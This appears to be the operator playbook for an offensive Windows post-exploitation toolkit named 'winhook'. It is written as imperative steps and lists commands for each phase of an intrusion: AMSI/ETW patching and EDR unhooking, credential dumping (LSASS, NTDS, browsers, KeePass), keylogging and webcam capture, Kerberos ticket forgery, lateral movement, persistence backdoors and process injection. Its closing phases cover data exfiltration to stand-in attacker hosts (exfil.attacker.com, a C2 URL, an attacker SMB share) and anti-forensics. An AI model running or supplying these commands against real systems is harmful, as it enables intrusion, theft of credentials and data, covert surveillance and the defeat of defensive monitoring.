Windows Post-Exploitation Methodology

Windows post-exploitation uses userland APIs (no kernel driver signing needed) for Active Directory attacks, Kerberos exploitation, ADCS abuse, lateral movement, persistence, privilege escalation, credential harvesting, and defense evasion. After gaining access on a Windows target, these 153 programs provide comprehensive offensive capabilities — from basic credential extraction to advanced techniques like Diamond/Sapphire tickets, ADCS ESC9-15, KrbRelayUp, gMSA password extraction, cross-forest attacks, 16 dedicated privilege escalation methods, NTLM relay chains, LLMNR/NBT-NS poisoning, Azure AD hybrid attacks (PRT theft, AAD Connect, Seamless SSO), ADIDNS poisoning, machine account abuse, BitLocker key extraction, Windows Hello credential dumping, Exchange Server exploitation, password spraying, WDigest credential caching, PPL bypass for modern LSASS protection, BITS job persistence, WSUS exploitation, GoldenGMSA offline password computation, Silver SAML token forgery, RDP session shadowing, print monitor persistence, CLM bypass, SSP credential interception, password filter persistence, DSRM local admin abuse on DCs, NTLMv1 downgrade attacks, accessibility binary backdoors, IFEO debugger persistence, RID hijacking for hidden admin access, Winlogon helper DLL persistence, AppInit_DLLs mass injection, netsh helper DLL persistence, W32Time provider persistence, screensaver idle-trigger persistence, named pipe enumeration and ACL auditing, LSA secret extraction and in-memory decryption, KeePass credential dumping (CVE-2023-32784 master password extraction), SSH-based lateral movement and key harvesting, scheduled task remote execution, PowerShell profile persistence, Active Setup registry persistence, Boot Execute native image persistence, NTDLL unhooking for EDR bypass, PPID spoofing for process lineage evasion, IPv6 MITM via DHCPv6 DNS poisoning (mitm6), WPAD abuse for NTLM hash capture, and Microsoft Teams token extraction.

Prerequisites

Before deploying winhook tools, verify:

1. Stealth capability — run winhook stealth_check FIRST to determine which encoding modes work on the target. This tells you whether base64, amsi, and obfuscate modes are available before committing to a stealth strategy
2. Administrator access — most operations require elevated privileges
3. OS version — Windows 10/11 or Server 2016+ for ETW features
4. PowerShell — available natively on all modern Windows; check if pwsh.exe (PS7) is also installed
5. Domain context — AD operations require domain-joined machine with valid credentials
6. AV/EDR status — run amsi_bypass and etw_blind first if Defender/EDR is active

# Step 0 — stealth capability check (ALWAYS run first)
winhook stealth_check

# Then proceed with environment checks

# Quick prerequisite check
whoami /priv                              # verify SeDebugPrivilege
whoami /groups                            # verify domain membership
Get-MpComputerStatus | Select RealTimeProtectionEnabled  # Defender status
Get-Process lsass                         # verify LSASS accessible
reg query "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v RunAsPPL  # PPL status
nltest /dclist:                           # list domain controllers
Get-Command pwsh -ErrorAction SilentlyContinue  # check if PS7 available for --pwsh

Kill Chain Phases

Phase 1 — AV/EDR Evasion (First priority)

Neutralize monitoring before performing credential operations.

Action	Command	Purpose
Stealth check	winhook stealth_check	ALWAYS run first — determines which encoding modes (base64/amsi/obfuscate) and pwsh.exe are available on target
Bypass AMSI	winhook amsi_bypass	Patch AmsiScanBuffer to allow undetected PowerShell execution
Blind ETW	winhook etw_blind	Patch EtwEventWrite to prevent EDR from receiving telemetry
Exclude paths	winhook defender_exclude --path C:\Tools	Add Defender exclusion for tool staging directory
Token stomp	winhook token_stomp	Remove security tool token privileges (EDR bypass)
PPL check	winhook ppl_bypass --action check	Detect RunAsPPL, Credential Guard/VBS, vulnerable drivers, SeLoadDriverPrivilege
PPL disable	winhook ppl_bypass --action disable --driver rtcore	Disable LSASS PPL via vulnerable signed driver (RTCore64/DBUtil/ProcExp/mimidrv)
CLM check	winhook clm_bypass --action check	Assess language mode, enforcement source (AppLocker/WDAC), available bypass methods
CLM bypass	winhook clm_bypass --action bypass --method msbuild	Escape CLM via MSBuild/runspace/InstallUtil/XSLT/Add-Type
NTDLL unhook check	winhook unhook_ntdll --action check	Scan 18 Nt* syscall stubs for JMP/PUSH+RET/INT3 EDR hook patterns
NTDLL unhook	winhook unhook_ntdll --action unhook	Map fresh ntdll.dll from disk via NtCreateSection, overwrite hooked .text section
PPID spoof enum	winhook ppid_spoof --action enum	Enumerate candidate parent processes (explorer, svchost, RuntimeBroker) with session context
PPID spoof	winhook ppid_spoof --action spoof --parent explorer --command CMD	Spawn process under fake parent via PROC_THREAD_ATTRIBUTE_PARENT_PROCESS

Global Stealth Flags

All 153 programs support --stealth and --pwsh flags for AV/EDR evasion. These flags modify how PowerShell commands are executed — no per-program changes needed.

--stealth <mode>

Mode	Technique	Use Case
base64	-EncodedCommand with UTF-16LE Base64	Bypass string-based signatures, command-line logging shows Base64 blob
amsi	AMSI patch (amsiInitFailed) + Base64	Defeat AMSI scanning before executing payload, bypasses PowerShell content inspection
obfuscate	String chunking + variable concatenation + IEX() + Base64	Defeat static analysis, string matching, and YARA rules

# Examples — any program with any stealth mode
winhook lsass_dump --stealth base64
winhook ad_enum --stealth amsi
winhook kerberoast --stealth obfuscate
winhook dcsync --target krbtgt --stealth amsi

--pwsh

Use PowerShell 7 (pwsh.exe) instead of Windows PowerShell 5.1 (powershell.exe). Benefits:

• Different AMSI hooks (some EDRs only hook powershell.exe)
• Bypasses Constrained Language Mode (CLM) policies targeting powershell.exe
• Separate script block logging configuration

# Combine with stealth
winhook lsass_dump --stealth amsi --pwsh
winhook ad_enum --pwsh

Verify stealth modes

winhook stealth_check

Tests all 3 stealth modes + plain execution with a benign command, reports which modes succeed on the target.

Multi-Exec Engine (--exec)

When PowerShell is blocked, restricted (CLM), or unavailable, use --exec to switch the execution engine. All 153 programs support cmd.exe native commands, .bat files, WMI CLI, VBScript, and HTA as fallback methods.

--exec <method>

Method	Engine	When to Use
ps	PowerShell (default)	Full PS access, no restrictions
cmd	cmd.exe native (reg, netsh, certutil, sc, schtasks, wmic, nltest, dsquery)	CLM active, PS blocked, or AMSI can't be bypassed
bat	.bat file execution	PS and direct cmd blocked, but .bat files execute
wmic	WMI command-line	PS/cmd restricted but WMIC available
vbs	VBScript via cscript.exe	Legacy systems, PS removed, COM object access needed
mshta	HTML Application (mshta.exe)	AppLocker bypass, PS/cmd/cscript all blocked
auto	Auto-detect best available	Unknown environment — runs detect_env first

# Force cmd.exe native commands
winhook lsass_dump --exec cmd
winhook ad_enum --exec cmd
winhook kerberoast --exec cmd

# Force .bat file execution
winhook registry_persist --exec bat

# Auto-detect best method
winhook sam_dump --exec auto

Environment Detection

ALWAYS run detect_env first when landing on a new target to determine the optimal execution method:

winhook detect_env

Returns: PowerShell version, CLM/AMSI status, execution policy, admin context, OS build, and availability of cmd.exe/wmic/cscript/mshta. Outputs recommended execution method and fallback chain.

Decision flow:

1. Run winhook detect_env
2. If PS is available and unrestricted → use default (no --exec flag)
3. If CLM is active → try winhook clm_bypass first, then fall back to --exec cmd
4. If PS is completely blocked → use --exec cmd for all subsequent commands
5. If cmd.exe is also restricted → try --exec bat, --exec vbs, or --exec mshta

cmd.exe Native Equivalents

Key tools available without PowerShell:

• reg query/add/save — registry operations, credential extraction
• netsh advfirewall — firewall enumeration and manipulation
• certutil — certificate operations, Base64 encoding
• schtasks — scheduled task management
• sc — service management
• wmic — WMI queries (process, service, OS info)
• nltest — domain controller and trust enumeration
• dsquery — AD object queries
• icacls — file permission analysis
• manage-bde — BitLocker operations
• cmdkey — stored credential management
• wevtutil — event log operations
• sqlcmd/osql — MSSQL operations
• klist — Kerberos ticket management
• setspn — SPN enumeration

Phase 2 — AD Enumeration

Comprehensive Active Directory reconnaissance using multiple protocols.

Action	Command	Purpose
AD enumeration	winhook ad_enum	Domain info, users, groups, SPNs, trusts, password policies
BloodHound collection	winhook bloodhound_collect	Collect AD relationships for attack path analysis
LAPS passwords	winhook laps_dump	Extract local admin passwords from LAPS attributes
GPO enumeration	winhook gpo_enum	List GPOs, linked OUs, permissions for abuse opportunities
DNS enumeration	winhook ad_dns_enum	Enumerate AD-integrated DNS zones, records, and ADIDNS poisoning
ADWS recon	winhook adws_recon	Enumerate AD via Web Services (port 9389, bypasses LDAP monitoring)
Cross-forest	winhook cross_forest	Analyze forest trusts, SID filtering, foreign principals
Share enumeration	winhook share_hunt --action enum	Discover SMB shares across domain, identify open/readable/writable
Share credential hunt	winhook share_hunt --action hunt --target domain	Scan shares for credentials, configs, backups, SSH keys, certs
SYSVOL harvest	winhook share_hunt --action sysvol	Extract GPP passwords, scripts, and configs from SYSVOL/NETLOGON
Writable shares	winhook share_hunt --action writable	Identify writable shares for staging or DLL planting
ADIDNS enum	winhook adidns_poison --action enum	Enumerate AD-integrated DNS zones and wildcard injection opportunity
ADIDNS permissions	winhook adidns_poison --action check-perms	Check if authenticated users can create DNS records
Machine account quota	winhook machine_account --action quota	Check ms-DS-MachineAccountQuota for RBCD prerequisite
Machine account enum	winhook machine_account --action enum	Find user-created accounts, RBCD configs, unconstrained delegation
Exchange enum	winhook exchange_abuse --action enum	Discover Exchange servers, versions, roles, virtual directories
GAL dump	winhook exchange_abuse --action gal	Extract Global Address List (all email addresses, titles, groups)

Phase 3 — Credential Harvesting

Extract credentials from multiple sources.

Action	Command	Purpose
LSASS dump	winhook lsass_dump	Dump LSASS memory via MiniDumpWriteDump
Advanced LSASS	winhook nanodump_advanced --method snapshot	EDR-bypass dump (snapshot/fork/seclogon)
SAM extraction	winhook sam_dump	Extract registry hives for offline cracking
DPAPI secrets	winhook dpapi_extract	Decrypt browser passwords, WiFi keys, Vault credentials
NTDS.dit dump	winhook ntds_dump	Extract AD database via VSS shadow copy
Domain DPAPI	winhook dpapi_domain	Extract domain backup keys for cross-machine DPAPI decryption
Cached creds	winhook cached_creds	Extract domain cached credentials (DCC2)
gMSA dump	winhook gmsa_dump	Extract gMSA passwords via msDS-ManagedPassword (DPAPI-NG)
LAPS v2 decrypt	winhook laps_v2_decrypt	Decrypt Windows LAPS v2 encrypted passwords
MSSQL creds	winhook mssql_creds	Enumerate MSSQL servers, extract logins
WiFi passwords	winhook wifi_dump	Extract saved WiFi profiles and plaintext passwords
Vault secrets	winhook vault_dump	Access Windows Credential Vault entries
Credential phishing	winhook credential_prompt	Spawn fake Windows credential dialog
Keystroke capture	winhook keylog_win --duration 120	Log keystrokes with active window context
Clipboard monitoring	winhook clipboard_sniff --duration 60	Capture copied passwords, tokens, sensitive data
Registry credentials	winhook reg_secrets --action full	Sweep all registry credential sources (AutoLogon, VNC, PuTTY, WinSCP, RDP, services, apps)
Browser passwords	winhook browser_harvest --action passwords	Extract saved passwords from Chrome/Edge/Firefox/Brave (DPAPI + NSS)
Browser cookies	winhook browser_harvest --action cookies	Extract session cookies for session hijacking
Browser all	winhook browser_harvest --action all	Passwords, cookies, history, bookmarks from all browsers
Certificate theft	winhook cert_steal --action enum	Enumerate certificates with exportable private keys
Certificate export	winhook cert_steal --action export --password P@ss	Export certs as PFX for pass-the-certificate attacks
WDigest enable	winhook wdigest_enable --action enable	Enable plaintext credential caching in LSASS (UseLogonCredential)
WDigest + lock	winhook wdigest_enable --action lock	Lock workstation to force re-auth (captures cleartext on logon)
Password spray	winhook password_spray --action spray --password Summer2026!	Spray password against domain users with lockout awareness
Spray policy check	winhook password_spray --action policy	Enumerate lockout threshold and observation window before spray
Windows Hello keys	winhook win_hello_dump --action keys	Extract NGC key containers (DPAPI-protected PIN/biometric keys)
BitLocker keys (local)	winhook bitlocker_keys --action local	Extract BitLocker recovery passwords from local volumes
BitLocker keys (AD)	winhook bitlocker_keys --action ad	Retrieve BitLocker recovery keys stored in Active Directory
GoldenGMSA enum	winhook golden_gmsa --action enum	Enumerate KDS root keys and gMSA accounts with root key GUID mapping
GoldenGMSA compute	winhook golden_gmsa --action compute --sid SID	Compute gMSA password offline via KDS root key derivation
SSP enum	winhook ssp_persist --action enum	Enumerate loaded Security Support Providers via EnumerateSecurityPackages
SSP install (live)	winhook ssp_persist --action install --dll PATH	Load SSP DLL into LSASS via AddSecurityPackage (instant, captures all logon creds)
SSP install (persist)	winhook ssp_persist --action install --dll PATH --persist	Register SSP in registry Security Packages (persistent, loads on boot)
Password filter enum	winhook password_filter --action enum	Enumerate Notification Packages (password filter DLLs loaded by LSASS)
Password filter install	winhook password_filter --action install --name FILTER	Register password filter DLL — captures plaintext on every password change
KeePass enum	winhook keepass_dump --action enum	Find KeePass installations, .kdbx database files, and config files
KeePass memory dump	winhook keepass_dump --action memory	CVE-2023-32784 — extract master password from KeePass process memory via CLR string residue
KeePass trigger	winhook keepass_dump --action trigger	Analyze KeePass config for trigger-based credential injection opportunities
LSA secrets dump	winhook lsa_secrets --action dump	Save SECURITY/SYSTEM hives, enumerate LSA secret keys, extract AutoLogon and service account creds
LSA secrets decrypt	winhook lsa_secrets --action decrypt	In-memory LSA secret decryption via LsaRetrievePrivateData P/Invoke (no hive save)
Teams token enum	winhook teams_token --action enum	Detect Teams Classic vs New, enumerate credential storage locations
Teams tokens	winhook teams_token --action tokens	Extract JWT/Skype tokens from LevelDB and Token Broker cache
Teams chats	winhook teams_token --action chats	Extract chat history, downloads, and cached data from Teams storage

Phase 4 — Kerberos Attacks

Active Directory Kerberos-based attacks including advanced ticket forgery.

Action	Command	Purpose
Kerberoasting	winhook kerberoast	Request service tickets for SPN accounts, crack offline
AS-REP Roasting	winhook asreproast	Extract hashes from accounts without pre-auth
Golden Ticket	winhook golden_ticket --krbtgt-hash HASH --domain DOMAIN --sid SID	Forge TGT with krbtgt hash
Silver Ticket	winhook silver_ticket --service-hash HASH --spn SPN --domain DOMAIN --sid SID	Forge service ticket
Diamond Ticket	winhook diamond_ticket --krbtgt-hash HASH --domain DOMAIN	Modify real TGT PAC (stealthier than Golden)
Sapphire Ticket	winhook sapphire_ticket --krbtgt-hash HASH --domain DOMAIN	S4U2self+U2U real PAC forgery (stealthiest)
Delegation abuse	winhook delegation_abuse	Exploit unconstrained/constrained/RBCD delegation
Overpass-the-Hash	winhook overpass_hash --user USER --hash HASH	Convert NTLM hash to Kerberos TGT
Pass-the-Ticket	winhook pass_the_ticket --action export	Export/import/inject Kerberos tickets
UnPAC-the-Hash	winhook unpac_hash --cert cert.pfx	Recover NT hash from PKINIT certificate auth

Phase 5 — AD Exploitation

Advanced Active Directory exploitation techniques.

Action	Command	Purpose
DCSync	winhook dcsync --target USER	Replicate credentials via DRSUAPI
DCShadow	winhook dcshadow --target USER --attribute VALUE	Register rogue DC for AD manipulation
Skeleton Key	winhook skeleton_key --dc DC	Inject master password into DC LSASS
ACL abuse	winhook ad_acl_abuse --target USER --action exploit --right GenericAll	Exploit misconfigured AD ACLs
ADCS abuse	winhook adcs_abuse --action enum	Enumerate/exploit ADCS (ESC1-ESC8)
ADCS advanced	winhook adcs_esc_advanced	Advanced ADCS exploitation (ESC9-ESC15)
Golden Certificate	winhook golden_cert --action exploit --ca CA_NAME	Extract CA private key for cert forgery
Shadow Credentials	winhook shadow_creds --target USER --action add	Add msDS-KeyCredentialLink for PKINIT auth
Pass-the-Certificate	winhook pass_the_cert	LDAP/Kerberos auth via Schannel certificate
SID History	winhook sid_history --target USER --sid SID	Inject SID History for priv esc
DNS Admin abuse	winhook dns_admin_abuse --dll \\attacker\share\payload.dll	DnsAdmins group to SYSTEM
AdminSDHolder	winhook adminsdholder --action check	Audit/plant AdminSDHolder ACL backdoor
Primary Group abuse	winhook primary_group_abuse	Hidden group membership via primaryGroupID
RBCD chain	winhook rbcd_chain --target COMPUTER --action exploit	Full RBCD chain (machine account + S4U)
DSRM check	winhook dsrm_abuse --action check	Check DsrmAdminLogonBehavior on DC — value 2 enables network logon with DSRM password
DSRM enable	winhook dsrm_abuse --action enable	Set DsrmAdminLogonBehavior=2 for persistent DC backdoor
DSRM sync	winhook dsrm_abuse --action sync	Sync DSRM password with domain account via ntdsutil

Phase 6 — CVE-Based Attacks

Exploit specific CVEs for domain escalation.

Action	Command	Purpose
noPac	winhook nopac --domain DOMAIN --action check	CVE-2021-42278/42287 — sAMAccountName impersonation
Zerologon	winhook zerologon --dc DC_HOST --action check	CVE-2020-1472 — Netlogon privilege escalation
Certifried	winhook certifried --action check	CVE-2022-26923 — AD CS machine account escalation
BadSuccessor	winhook bad_successor --action check	CVE-2025-53779 — dMSA inheritance exploitation
Bronze Bit	winhook bronze_bit --target HOST --action check	CVE-2020-17049 — S4U2proxy forwardable bypass

Phase 7 — Lateral Movement

Move laterally across the network using multiple execution and coercion methods.

Action	Command	Purpose
WMI execution	winhook wmi_exec --target HOST --command CMD	Remote command execution via WMI
WinRM execution	winhook winrm_exec --target HOST --command CMD	Remote command execution via WinRM/PSRemoting
DCOM execution	winhook dcom_exec --target HOST --command CMD	Remote execution via DCOM objects
SMB execution	winhook smb_exec --target HOST --command CMD	Remote execution via SMB service creation
NTLM coercion	winhook ntlm_coerce --target HOST --listener IP	Force NTLM auth (PetitPotam, PrinterBug)
Full coercer	winhook coercer_full --target HOST --listener IP	12+ RPC coercion methods (EFSRPC, RPRN, DFSNM, FSRVP, EVEN, DNSP, WebClient)
RemoteMonologue	winhook remote_monologue --target HOST --listener IP	DCOM-based NTLM coercion (no LSASS touch)
KrbRelayUp	winhook krbrelayup --action check	Local priv esc via Kerberos relay to LDAP
MSSQL abuse	winhook mssql_abuse --server HOST --action enum	MSSQL enumeration, xp_cmdshell, linked servers
RDP hijack	winhook rdp_hijack --action enum	Hijack disconnected RDP sessions
SOCKS proxy	winhook proxy_pivot --action socks --listen-port 1080	Set up SOCKS proxy for tunneling through compromised host
Reverse forward	winhook proxy_pivot --action reverse --listen-port 8443 --target HOST:PORT	Reverse port forward to expose internal services
SSH tunnel	winhook proxy_pivot --action ssh-tunnel --ssh-host HOST --ssh-user USER --target HOST:PORT	SSH tunneling via OpenSSH client
Port proxy chain	winhook proxy_pivot --action portproxy --listen-port 8080 --target HOST:PORT	netsh portproxy chain for multi-hop pivoting
NTLM relay targets	winhook ntlm_relay --action enum	Real SMB1 Negotiate probe for signing status (SecurityMode byte analysis)
NTLM hash capture	winhook ntlm_relay --action relay --relay-to TARGET	NTLMv2 hash capture server — NTLMSSP Type3 parsing, hashcat mode 5600 output, impacket relay guidance
LLMNR/NBT-NS check	winhook responder_poison --action check	Assess broadcast poisoning opportunity (LLMNR, NBT-NS, mDNS, WPAD)
LLMNR poison	winhook responder_poison --action poison --duration 120	LLMNR poisoner with proper DNS-format responses (question section echo), NBT-NS passive monitoring (port 137 held by Windows)
ADIDNS wildcard	winhook adidns_poison --action wildcard --ip ATTACKER_IP	Inject wildcard DNS record to capture all unresolved queries
Machine account create	winhook machine_account --action create --name EVIL	Create machine account for RBCD chain
Azure AD PRT	winhook azure_ad_hybrid --action prt	Extract Primary Refresh Token for cloud session hijacking
AAD Connect creds	winhook azure_ad_hybrid --action connect-creds	Extract Azure AD Connect sync account credentials
Seamless SSO key	winhook azure_ad_hybrid --action sso-key	Extract AZUREADSSOACC$ Kerberos key for Azure AD ticket forgery
Exchange privesc	winhook exchange_abuse --action privesc	Exchange → WriteDACL → DCSync privilege escalation chain
WSUS check	winhook wsus_abuse --action check	Assess WSUS MITM attack surface (HTTP vs HTTPS, network position)
WSUS enum	winhook wsus_abuse --action enum	Enumerate WSUS server config, update policy, recent history
RDP shadow	winhook rdp_shadow --action shadow --session-id ID --control --no-consent	Shadow active RDP session for live credential observation
GoldenGMSA extract	winhook golden_gmsa --action extract	Extract KDS root key for offline gMSA password computation
Silver SAML cert	winhook silver_saml --action extract-cert	Extract ADFS token-signing certificate for SAML token forgery
Silver SAML forge	winhook silver_saml --action forge --cert-path PFX --target-user USER	Forge SAML token for any federated service (O365, AWS)
NTLMv1 check	winhook ntlmv1_downgrade --action check	Check LmCompatibilityLevel — levels 0-2 allow NTLMv1 (crackable in seconds)
NTLMv1 downgrade	winhook ntlmv1_downgrade --action downgrade	Set LmCompatibilityLevel=0 to force NTLMv1 responses for instant cracking
NTLMv1 restore	winhook ntlmv1_downgrade --action restore	Restore LmCompatibilityLevel to enforce NTLMv2
SSH enum	winhook ssh_exec --action enum	Enumerate SSH client/server, private keys, known_hosts, config, admin authorized_keys
SSH exec	winhook ssh_exec --action exec --target HOST --user USER --command CMD	Remote command execution via SSH key or password auth
Schtask enum	winhook schtask_exec --action enum --target HOST	Enumerate remote scheduled tasks and test create permission
Schtask exec	winhook schtask_exec --action exec --target HOST --command CMD	Create SYSTEM task on remote host, execute, retrieve output via UNC, auto-cleanup
mitm6 check	winhook mitm6 --action check	Assess IPv6 MITM attack surface — DHCPv6, DNS config, WPAD resolution, vulnerability score
mitm6 poison	winhook mitm6 --action poison	DHCPv6 DNS poisoning configuration for IPv6 MITM attack
WPAD check	winhook wpad_abuse --action check	Assess WPAD attack surface — AutoDetect registry, DNS resolution, proxy settings
WPAD serve	winhook wpad_abuse --action serve	Generate PAC file for WPAD-based NTLM hash capture

Phase 8 — Persistence

Establish persistent access mechanisms.

Action	Command	Purpose
Scheduled task	winhook schtask_persist --command CMD --name NAME	Create scheduled task for persistence
Service creation	winhook service_persist --command CMD --name NAME	Create Windows service for persistence
Registry run key	winhook registry_persist --command CMD	Add registry autorun entries
WMI subscription	winhook wmi_persist --command CMD --name NAME	Create WMI event subscription (fileless)
COM hijacking	winhook com_hijack --action scan	Scan/hijack COM objects for DLL loading
Startup folder	winhook startup_persist --command CMD --target user	Place scripts in startup folder or GPO
BITS persistence	winhook bits_persist --action create --command CMD --interval 60	BITS transfer job with NotifyCmdLine — survives reboots, stealthy (APT29/FIN7)
BITS exfil	winhook bits_persist --action exfil --local-file PATH --url URL	BITS upload for stealthy data exfiltration with auto-retry
Print monitor	winhook print_monitor_persist --action install --name MON --dll PATH	Register DLL as print monitor — SYSTEM persistence via Spooler service
Accessibility backdoor	winhook accessibility_backdoor --action install --target sethc	Replace accessibility binary with cmd.exe for SYSTEM shell at login screen
Accessibility detect	winhook accessibility_backdoor --action detect	Hash-based detection of replaced accessibility binaries (sethc/utilman/narrator/osk/magnify)
IFEO debugger	winhook ifeo_persist --action install --target notepad.exe --payload PATH --method debugger	Payload runs INSTEAD of target process (visible, persistent)
IFEO silent exit	winhook ifeo_persist --action install --target notepad.exe --payload PATH --method silent-exit	Payload triggers on target exit (stealthier, runs via WerFault.exe)
IFEO enum	winhook ifeo_persist --action enum	Enumerate existing IFEO debugger and SilentProcessExit entries
Winlogon userinit	winhook winlogon_persist --action install --key userinit --payload PATH	Append to Userinit — runs before shell, non-destructive, SYSTEM context
Winlogon shell	winhook winlogon_persist --action install --key shell --payload PATH	Chain with explorer.exe as Shell — runs as desktop shell, SYSTEM context
AppInit_DLLs	winhook appinit_dll --action install --dll PATH	Inject DLL into every User32.dll process — mass persistence
Netsh helper	winhook netsh_helper --action install --dll PATH --name HELPER	Register helper DLL loaded on every netsh.exe invocation
Time provider	winhook time_provider --action install --dll PATH --name PROVIDER	W32Time DLL provider — SYSTEM context, rarely audited
Screensaver	winhook screensaver_persist --action install --payload PATH --timeout 60	Idle-triggered persistence via SCRNSAVE.EXE — no admin needed (HKCU)
PS profile enum	winhook powershell_profile --action enum	Enumerate 4 PowerShell profile locations, write perms, suspicious content
PS profile install	winhook powershell_profile --action install --payload CMD	Append payload to PowerShell profile with marker for clean removal
PS profile remove	winhook powershell_profile --action remove	Remove installed payload from PowerShell profile
Active Setup enum	winhook active_setup --action enum	Enumerate non-Microsoft Active Setup entries (HKLM StubPath)
Active Setup install	winhook active_setup --action install --name NAME --payload CMD	Register HKLM Active Setup StubPath — runs once per user on logon
Active Setup remove	winhook active_setup --action remove --name NAME	Remove Active Setup entry from HKLM and per-user tracking
Boot Execute enum	winhook boot_exec --action enum	Enumerate BootExecute, SetupExecute, and KnownDLLs entries
Boot Execute install	winhook boot_exec --action install --exe NAME	Add native executable to BootExecute MultiString (runs before OS)
Boot Execute remove	winhook boot_exec --action remove --exe NAME	Restore default BootExecute value

Phase 9 — Privilege Escalation

Escalate from standard user to SYSTEM/Administrator. 22 dedicated privesc techniques covering service exploitation, DLL abuse, token manipulation, driver attacks, SAM manipulation, and policy bypass.

Action	Command	Purpose
Token impersonation	winhook token_impersonate --action enum	Enumerate and impersonate tokens
UAC bypass	winhook uac_bypass --command CMD --method fodhelper	Bypass UAC via multiple methods
Potato attacks	winhook potato_attack --method sweet --listener IP	Service account to SYSTEM
PrintSpooler abuse	winhook printspooler_abuse --target HOST --action enum	PrintNightmare exploitation
SCCM abuse	winhook sccm_abuse --action enum	SCCM credential extraction and lateral movement
GPO abuse	winhook gpo_abuse --action create_task --gpo NAME --command CMD	Modify GPOs for domain-wide execution
Unquoted service path	winhook unquoted_service_path --action enum	Find services with exploitable unquoted paths
Weak service perms	winhook weak_service_perms --action enum	Find services with modifiable DACLs or writable binaries
DLL hijacking	winhook dll_hijack --action enum	Enumerate writable PATH dirs and 10 known DLL hijack targets
DLL sideloading	winhook dll_sideload --action enum	Trusted application DLL sideloading (OneDrive, Teams, etc.)
AlwaysInstallElevated	winhook always_install_elevated --action check	Check/exploit MSI elevation policy
Stored credentials	winhook stored_creds_abuse --action enum	8 credential sources (cmdkey, AutoLogon, Unattend.xml, etc.)
Privilege abuse	winhook privilege_abuse --action enum	Exploit SeBackup/SeRestore/SeTakeOwnership/SeLoadDriver/SeDebug
Named pipe privesc	winhook named_pipe_privesc --action enum	Named pipe impersonation for SYSTEM (SpoolSample, EFS)
BYOVD	winhook byovd --action enum	Vulnerable driver enum (RTCore64, Capcom, DBUtil, etc.)
Shadow copy abuse	winhook shadow_copy_abuse --action enum	Access SAM/SYSTEM/NTDS.dit from existing VSS snapshots
WSL privesc	winhook wsl_privesc --action enum	Escape WSL to Windows host with elevated context
Scheduled task hijack	winhook scheduled_task_hijack --action enum	Hijack existing scheduled tasks with writable binaries
Server Operator abuse	winhook server_operator_abuse --action enum	Exploit Server Operators group (service config, driver load)
MSI abuse	winhook msi_abuse --action enum	MSI repair abuse, custom actions, installer hijacking
Backup Operator abuse	winhook backup_operator_abuse --action enum	Exploit Backup Operators group for SAM/NTDS extraction
AppLocker bypass	winhook applocker_bypass --action enum	12+ AppLocker/WDAC bypass techniques
RID hijack	winhook rid_hijack --action hijack --user lowpriv --rid 500	Modify SAM F-value RID to 500 — user looks normal but has admin rights
RID enum	winhook rid_hijack --action enum	Enumerate local user RIDs and detect existing RID manipulation

Phase 10 — Local Reconnaissance

Understand the target environment before choosing attack and evasion strategies.

Action	Command	Purpose
Full recon	winhook local_recon --action full	Complete environment survey (AV/EDR, software, services, network, hotfixes)
AV/EDR detection	winhook local_recon --action av	Detect 26 AV/EDR products with evasion strategy recommendations
Software inventory	winhook local_recon --action software	Installed software, .NET versions, attack surface mapping
Service analysis	winhook local_recon --action services	Running services, vulnerable configs, SYSTEM services
Network survey	winhook local_recon --action network	Interfaces, connections, listening ports, DNS cache, SMB shares
Patch level	winhook local_recon --action hotfixes	Installed hotfixes, OS version, last update assessment
PS downgrade check	winhook ps_downgrade --action check	Check if PS 2.0 engine available for security bypass
PS downgrade exec	winhook ps_downgrade --action execute --command CMD	Execute via PS 2.0 (no AMSI/SBL/CLM)
Pipe enum	winhook pipe_enum --action enum	Enumerate named pipes with security-relevant pipe identification
Pipe ACL	winhook pipe_enum --action acl	Test pipe connectivity and impersonation potential
Pipe custom	winhook pipe_enum --action custom	Detect non-system named pipes (potential C2/implant indicators)

Phase 11 — Monitoring

Understand the target environment and detect defensive measures.

Action	Command	Purpose
Process monitoring	winhook etw_process --duration 60	Track process creation via ETW
Network monitoring	winhook etw_network --duration 60	Track connections via ETW
Screenshot (all)	winhook screenshot_grab --action screen	Capture all monitors for visual intelligence
Window capture	winhook screenshot_grab --action window	Capture active window only
Webcam snapshot	winhook screenshot_grab --action webcam	DirectShow webcam capture for proof of access

Phase 12 — Process Injection

Inject payloads into legitimate processes for AV/EDR evasion.

Action	Command	Purpose
Enum injectable	winhook process_inject --action enum	Enumerate injectable processes with high-value target recommendations
Process hollowing	winhook process_inject --action hollow --target svchost.exe --payload PATH	Spawn suspended → unmap → inject → resume
APC injection	winhook process_inject --action apc --target explorer --payload PATH	Queue shellcode to alertable thread
Thread hijacking	winhook process_inject --action hijack --target PID --payload PATH	Suspend thread → redirect RIP → resume
Early bird	winhook process_inject --action earlybird --target svchost.exe --payload PATH	Pre-init APC (runs before EDR hooks)
DLL injection	winhook process_inject --action dll --target explorer --dll PATH	CreateRemoteThread + LoadLibraryA

Phase 13 — Firewall Manipulation

Modify Windows Firewall to enable lateral movement and C2.

Action	Command	Purpose
Enum rules	winhook firewall_manage --action enum	List profiles, active rules, and custom rules
Disable profile	winhook firewall_manage --action disable --profile all	Disable firewall profile(s)
Allow port	winhook firewall_manage --action allow --port 4444 --protocol tcp	Create inbound/outbound allow rule
Port forward	winhook firewall_manage --action forward --port 8080 --address 10.0.0.1	netsh portproxy for pivoting
Restore firewall	winhook firewall_manage --action restore	Re-enable profiles, remove CS rules, clear port proxies

Phase 14 — Data Exfiltration

Stage and exfiltrate data through multiple channels.

Action	Command	Purpose
Discover sensitive	winhook data_exfil --action discover --target C:\Users	Find credentials, documents, databases, configs
Stage files	winhook data_exfil --action stage --target C:\Users	Compress sensitive files into staging archive
DNS exfil	winhook data_exfil --action dns --target FILE --domain exfil.attacker.com	Encode data in DNS subdomain queries
HTTPS exfil	winhook data_exfil --action https --target FILE --url https://c2/upload	POST data to C2 endpoint over TLS
SMB exfil	winhook data_exfil --action smb --target FILE --share \\HOST\SHARE	Copy to attacker SMB share
ICMP exfil	winhook data_exfil --action icmp --target FILE --listener IP	Tunnel data in ICMP echo payloads

Phase 15 — Anti-Forensics

Remove forensic evidence before cleanup.

Action	Command	Purpose
Full cleanup	winhook anti_forensics --action full	Run all anti-forensics actions
Timestamp stomp	winhook anti_forensics --action stomp --target PATH --reference REF	Modify file timestamps to match reference
Prefetch clear	winhook anti_forensics --action prefetch	Remove suspicious prefetch entries
Amcache clear	winhook anti_forensics --action amcache	Remove execution evidence from Amcache hive
USN journal	winhook anti_forensics --action usn	Delete and recreate USN change journal
